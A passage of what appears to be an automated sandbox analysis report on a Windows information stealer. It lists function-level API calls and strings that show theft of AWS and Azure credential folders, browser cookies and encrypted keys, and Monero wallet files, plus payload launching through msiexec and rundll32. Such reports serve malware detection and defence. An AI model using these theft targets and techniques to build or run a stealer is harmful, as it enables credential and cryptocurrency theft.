                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseOpenlstrcpy$Enumwsprintf
                                    • String ID: - $%s\%s$?
                                    • API String ID: 3246050789-3278919252
                                    • Opcode ID: 1171867759ab89ade8fb7c755c7fa5c9c7194ff520f7ab7c6ea4a9a29ee5e94d
                                    • Instruction ID: 2ffef9a5ff27d15fdfcde931bb0eed231ed1230d683cb509dda854d4c3bded9d
                                    • Opcode Fuzzy Hash: 1171867759ab89ade8fb7c755c7fa5c9c7194ff520f7ab7c6ea4a9a29ee5e94d
                                    • Instruction Fuzzy Hash: 2E814D71911228ABDB24DB54DD95FEAB7B8BF08700F1486D8F10AB6140DF356B84CFA0
                                    Function 00E291A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00E291FC
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateGlobalStream
                                    • String ID: `d$`d$image/jpeg
                                    • API String ID: 2244384528-3402243820
                                    • Opcode ID: 75a2c062804eda6022ab88d66a88a527b98bca98fe7f725cffddc4c8eed43a3a
                                    • Instruction ID: 05046da780f2df1c6af0f39bea6ca81dae0e2eb2fa2019032268b48eefb3a7fe
                                    • Opcode Fuzzy Hash: 75a2c062804eda6022ab88d66a88a527b98bca98fe7f725cffddc4c8eed43a3a
                                    • Instruction Fuzzy Hash: F4711071900218EBDB14DFE5E885FEEB7B9BF48700F109548F656AB284DB35E944CB60
                                    Function 00E24FC0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E28F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28F9B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E25000
                                    • lstrcat.KERNEL32(?,\.azure\), ref: 00E2501D
                                      • Part of subcall function 00E24B60: wsprintfA.USER32 ref: 00E24B7C
                                      • Part of subcall function 00E24B60: FindFirstFileA.KERNEL32(?,?), ref: 00E24B93
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E2508C
                                    • lstrcat.KERNEL32(?,\.aws\), ref: 00E250A9
                                      • Part of subcall function 00E24B60: StrCmpCA.SHLWAPI(?,00E30FC4), ref: 00E24BC1
                                      • Part of subcall function 00E24B60: StrCmpCA.SHLWAPI(?,00E30FC8), ref: 00E24BD7
                                      • Part of subcall function 00E24B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00E24DCD
                                      • Part of subcall function 00E24B60: FindClose.KERNEL32(000000FF), ref: 00E24DE2
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E25118
                                    • lstrcat.KERNEL32(?,\.IdentityService\), ref: 00E25135
                                      • Part of subcall function 00E24B60: wsprintfA.USER32 ref: 00E24C00
                                      • Part of subcall function 00E24B60: StrCmpCA.SHLWAPI(?,00E308D3), ref: 00E24C15
                                      • Part of subcall function 00E24B60: wsprintfA.USER32 ref: 00E24C32
                                      • Part of subcall function 00E24B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00E24C6E
                                      • Part of subcall function 00E24B60: lstrcat.KERNEL32(?,0099FA50), ref: 00E24C9A
                                      • Part of subcall function 00E24B60: lstrcat.KERNEL32(?,00E30FE0), ref: 00E24CAC
                                      • Part of subcall function 00E24B60: lstrcat.KERNEL32(?,?), ref: 00E24CC0
                                      • Part of subcall function 00E24B60: lstrcat.KERNEL32(?,00E30FE4), ref: 00E24CD2
                                      • Part of subcall function 00E24B60: lstrcat.KERNEL32(?,?), ref: 00E24CE6
                                      • Part of subcall function 00E24B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00E24CFC
                                      • Part of subcall function 00E24B60: DeleteFileA.KERNEL32(?), ref: 00E24D81
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
                                    • String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
                                    • API String ID: 949356159-974132213
                                    • Opcode ID: 2deeb90e3737f0be2b5be32d9486ecbb7b68238e0cbdc9916f80e38eb6a5449a
                                    • Instruction ID: cb5ec671e201afab5255a8df444936e012f175517f5178485d63296595728dbc
                                    • Opcode Fuzzy Hash: 2deeb90e3737f0be2b5be32d9486ecbb7b68238e0cbdc9916f80e38eb6a5449a
                                    • Instruction Fuzzy Hash: D541E7BAA4031867DB24F770ED5BFDD37689B50700F405898B689750C1EEB557C8CB92
                                    Function 00E23080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00E23415
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00E235AD
                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00E2373A
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExecuteShell$lstrcpy
                                    • String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
                                    • API String ID: 2507796910-3625054190
                                    • Opcode ID: 6ac1093450bc7c74201788577db4549bcbe3cb2909fa5bde860c90c056cc1d9c
                                    • Instruction ID: 1871503af8ba9184227012bd485b55766135ffdf3db5ab13630afc6fe7099632
                                    • Opcode Fuzzy Hash: 6ac1093450bc7c74201788577db4549bcbe3cb2909fa5bde860c90c056cc1d9c
                                    • Instruction Fuzzy Hash: 10120E719101289BCB14EBA0EDA2FEEB7B9AF14300F4855A9F50776191EF342B49CF61
                                    Function 00E19BE0 Relevance: 19.6, APIs: 8, Strings: 5, Instructions: 146stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E19A50: InternetOpenA.WININET(00E30AF6,00000001,00000000,00000000,00000000), ref: 00E19A6A
                                    • lstrcat.KERNEL32(?,cookies), ref: 00E19CAF
                                    • lstrcat.KERNEL32(?,00E312C4), ref: 00E19CC1
                                    • lstrcat.KERNEL32(?,?), ref: 00E19CD5
                                    • lstrcat.KERNEL32(?,00E312C8), ref: 00E19CE7
                                    • lstrcat.KERNEL32(?,?), ref: 00E19CFB
                                    • lstrcat.KERNEL32(?,.txt), ref: 00E19D0D
                                    • lstrlen.KERNEL32(00000000), ref: 00E19D17
                                    • lstrlen.KERNEL32(00000000), ref: 00E19D26
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$lstrlen$InternetOpenlstrcpy
                                    • String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
                                    • API String ID: 3174675846-3542011879
                                    • Opcode ID: bee00b789f56c9cdbe5a6072352833883b04e68d29513af6cffa45beb6f49b9c
                                    • Instruction ID: 8a99f76d3474850792f9e35212208d5bb0b78494d15645e600e569f62389a3cd
                                    • Opcode Fuzzy Hash: bee00b789f56c9cdbe5a6072352833883b04e68d29513af6cffa45beb6f49b9c
                                    • Instruction Fuzzy Hash: EA5185719106089BDB14EBE0DC55FEE7778AF14701F405598F105B7095EF355A88CFA1
                                    Function 00E25510 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                      • Part of subcall function 00E162D0: InternetOpenA.WININET(00E30DFF,00000001,00000000,00000000,00000000), ref: 00E16331
                                      • Part of subcall function 00E162D0: StrCmpCA.SHLWAPI(?,0099FB60), ref: 00E16353
                                      • Part of subcall function 00E162D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E16385
                                      • Part of subcall function 00E162D0: HttpOpenRequestA.WININET(00000000,GET,?,0099F2D8,00000000,00000000,00400100,00000000), ref: 00E163D5
                                      • Part of subcall function 00E162D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E1640F
                                      • Part of subcall function 00E162D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E16421
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E25568
                                    • lstrlen.KERNEL32(00000000), ref: 00E2557F
                                      • Part of subcall function 00E28FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28FE2
                                    • StrStrA.SHLWAPI(00000000,00000000), ref: 00E255B4
                                    • lstrlen.KERNEL32(00000000), ref: 00E255D3
                                    • lstrlen.KERNEL32(00000000), ref: 00E255FE
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
                                    • String ID: ERROR$ERROR$ERROR$ERROR$ERROR
                                    • API String ID: 3240024479-1526165396
                                    • Opcode ID: 05244be645b885674b8f86314ae25055125d011475d621623f46f7350299e582
                                    • Instruction ID: 1e03058373e80e30756540f040582a8081173a649d4aa081cb425e3c60e0e8e4
                                    • Opcode Fuzzy Hash: 05244be645b885674b8f86314ae25055125d011475d621623f46f7350299e582
                                    • Instruction Fuzzy Hash: F0511F709101189BCB18FF64EDA6BED77B9AF10340F586468F90677591DF306B44CB52
                                    Function 00E21520 Relevance: 16.8, APIs: 11, Instructions: 310COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpylstrlen
                                    • String ID:
                                    • API String ID: 2001356338-0
                                    • Opcode ID: 9d49105e1ec1f5a92d9e277fa8b5c73941adca1b131bb3b281ab5e8b6ce6a2a2
                                    • Instruction ID: 743d9a9a97af8b03f473ea549f4f4aed67e7d6fbf6b6eb9e33cc6a93ea592f72
                                    • Opcode Fuzzy Hash: 9d49105e1ec1f5a92d9e277fa8b5c73941adca1b131bb3b281ab5e8b6ce6a2a2
                                    • Instruction Fuzzy Hash: 48C184B59001299BCB14EF60EC9AFDE73B9BF64304F0455D8F409B7242DA75AA84CF91
                                    Function 00E244D0 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E28F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28F9B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E2453C
                                    • lstrcat.KERNEL32(?,0099F410), ref: 00E2455B
                                    • lstrcat.KERNEL32(?,?), ref: 00E2456F
                                    • lstrcat.KERNEL32(?,0099DF70), ref: 00E24583
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E28F20: GetFileAttributesA.KERNEL32(00000000,?,00E11B94,?,?,00E3577C,?,?,00E30E22), ref: 00E28F2F
                                      • Part of subcall function 00E1A430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00E1A489
                                      • Part of subcall function 00E1A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E1A13C
                                      • Part of subcall function 00E1A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E1A161
                                      • Part of subcall function 00E1A110: LocalAlloc.KERNEL32(00000040,?), ref: 00E1A181
                                      • Part of subcall function 00E1A110: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E1A1AA
                                      • Part of subcall function 00E1A110: LocalFree.KERNEL32(00E1148F), ref: 00E1A1E0
                                      • Part of subcall function 00E1A110: CloseHandle.KERNEL32(000000FF), ref: 00E1A1EA
                                      • Part of subcall function 00E29550: GlobalAlloc.KERNEL32(00000000,-F,00E2462D), ref: 00E29563
                                    • StrStrA.SHLWAPI(?,0099F560), ref: 00E24643
                                    • GlobalFree.KERNEL32(?), ref: 00E24762
                                      • Part of subcall function 00E1A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00E1A23F
                                      • Part of subcall function 00E1A210: LocalAlloc.KERNEL32(00000040,?,?,?,00E14F3E,00000000,?), ref: 00E1A251
                                      • Part of subcall function 00E1A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00E1A27A
                                      • Part of subcall function 00E1A210: LocalFree.KERNEL32(?,?,?,?,00E14F3E,00000000,?), ref: 00E1A28F
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E246F3
                                    • StrCmpCA.SHLWAPI(?,00E308D2), ref: 00E24710
                                    • lstrcat.KERNEL32(00000000,00000000), ref: 00E24722
                                    • lstrcat.KERNEL32(00000000,?), ref: 00E24735
                                    • lstrcat.KERNEL32(00000000,00E30FA0), ref: 00E24744
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
                                    • String ID:
                                    • API String ID: 3541710228-0
                                    • Opcode ID: 19dd4a0c940740679dc3138468c6c144633ee4fbf182c8cc0b9331bfdb9e00ea
                                    • Instruction ID: ba69d222bde13bc8bd15ba4b5989a58e5477a2f1453a421254209a07beec32de
                                    • Opcode Fuzzy Hash: 19dd4a0c940740679dc3138468c6c144633ee4fbf182c8cc0b9331bfdb9e00ea
                                    • Instruction Fuzzy Hash: 4571A6B6900218ABDB14EBA0ED46FEE73B9AF88700F044598F605A7185EB35DB44CF91
                                    Function 00E11310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E112A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E112B4
                                      • Part of subcall function 00E112A0: RtlAllocateHeap.NTDLL(00000000), ref: 00E112BB
                                      • Part of subcall function 00E112A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00E112D7
                                      • Part of subcall function 00E112A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E112F5
                                      • Part of subcall function 00E112A0: RegCloseKey.ADVAPI32(?), ref: 00E112FF
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E1134F
                                    • lstrlen.KERNEL32(?), ref: 00E1135C
                                    • lstrcat.KERNEL32(?,.keys), ref: 00E11377
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
